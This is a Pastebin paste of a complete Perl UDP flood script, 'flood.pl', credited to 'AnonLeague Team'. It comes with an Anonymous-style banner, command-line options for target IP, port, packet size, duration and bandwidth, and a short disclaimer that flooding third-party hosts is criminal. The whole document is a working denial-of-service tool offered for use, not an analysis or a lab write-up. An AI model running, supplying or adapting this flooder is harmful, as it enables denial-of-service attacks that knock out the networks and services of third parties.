Advertisement
TP2K1

flood.pl [Perl]

Jun 19th, 2015
1,283
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.37 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #####################################################
  3. # UDP Flood by AnonLeague Team #
  4. #####################################################
  5.  
  6. use Socket;
  7. use strict;
  8. use Getopt::Long;
  9. use Time::HiRes qw( usleep gettimeofday ) ;
  10.  
  11. our $port = 0;
  12. our $size = 0;
  13. our $time = 0;
  14. our $bw = 0;
  15. our $help = 0;
  16. our $delay= 0;
  17.  
  18. GetOptions(
  19. "port=i" => \$port, # UDP port to use, numeric, 0=random
  20. "size=i" => \$size, # packet size, number, 0=random
  21. "bandwidth=i" => \$bw, # bandwidth to consume
  22. "time=i" => \$time, # time to run
  23. "delay=f"=> \$delay, # inter-packet delay
  24. "help|?" => \$help); # help
  25.  
  26.  
  27. my ($ip) = @ARGV;
  28.  
  29. if ($help || !$ip) {
  30. print <<'EOL';
  31. flood.pl --port=dst-port --size=pkt-size --time=secs
  32. --bandwidth=kbps --delay=msec ip-address
  33.  
  34.  
  35. _____ __
  36. | _ |___ ___ ___| | ___ ___ ___ _ _ ___
  37. | | | . | | |__| -_| .'| . | | | -_|
  38. |__|__|_|_|___|_|_|_____|___|__,|_ |___|___|
  39. |___|
  40.  
  41. ########################
  42. # We are AnonLeague. #
  43. # We are Anonymoys. #
  44. # We are Legion. #
  45. # We do not forgive. #
  46. # We do not forget. #
  47. # Expect us. #
  48. ########################
  49.  
  50. Defaults:
  51. * random destination UDP ports are used unless --port is specified
  52. * random-sized packets are sent unless --size or --bandwidth is specified
  53. * flood is continuous unless --time is specified
  54. * flood is sent at line speed unless --bandwidth or --delay is specified
  55.  
  56. Usage guidelines:
  57. --size parameter is ignored if both the --bandwidth and the --delay
  58. parameters are specified.
  59.  
  60. Packet size is set to 256 bytes if the --bandwidth parameter is used
  61. without the --size parameter
  62.  
  63. The specified packet size is the size of the IP datagram (including IP and
  64. UDP headers). Interface packet sizes might vary due to layer-2 encapsulation.
  65.  
  66. Warnings and Disclaimers:
  67. Flooding third-party hosts or networks is commonly considered a criminal activity.
  68. Flooding your own hosts or networks is usually a bad idea
  69. Higher-performace flooding solutions should be used for stress/performance tests
  70. Use primarily in lab environments for QoS tests
  71. EOL
  72. exit(1);
  73. }
  74.  
  75. if ($bw && $delay) {
  76. print "WARNING: computed packet size overwrites the --size parameter ignored\n";
  77. $size = int($bw * $delay / 8);
  78. } elsif ($bw) {
  79. $delay = (8 * $size) / $bw;
  80. }
  81.  
  82. $size = 256 if $bw && !$size;
  83.  
  84. ($bw = int($size / $delay * 8)) if ($delay && $size);
  85.  
  86. my ($iaddr,$endtime,$psize,$pport);
  87. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  88. $endtime = time() + ($time ? $time : 1000000);
  89. socket(flood, PF_INET, SOCK_DGRAM, 17);
  90.  
  91. print "Flooding $ip " . ($port ? $port : "random") . " port with " .
  92. ($size ? "$size-byte" : "random size") . " packets" . ($time ? " for $time seconds" : "") . "\n";
  93. print "Interpacket delay $delay msec\n" if $delay;
  94. print "total IP bandwidth $bw kbps\n" if $bw;
  95. print "Break with Ctrl-C\n" unless $time;
  96.  
  97. die "Invalid packet size requested: $size\n" if $size && ($size < 64 || $size > 1500);
  98. $size -= 28 if $size;
  99. for (;time() <= $endtime;) {
  100. $psize = $size ? $size : int(rand(1024-64)+64) ;
  101. $pport = $port ? $port : int(rand(65500))+1;
  102.  
  103. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
  104. usleep(1000 * $delay) if $delay;
  105. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement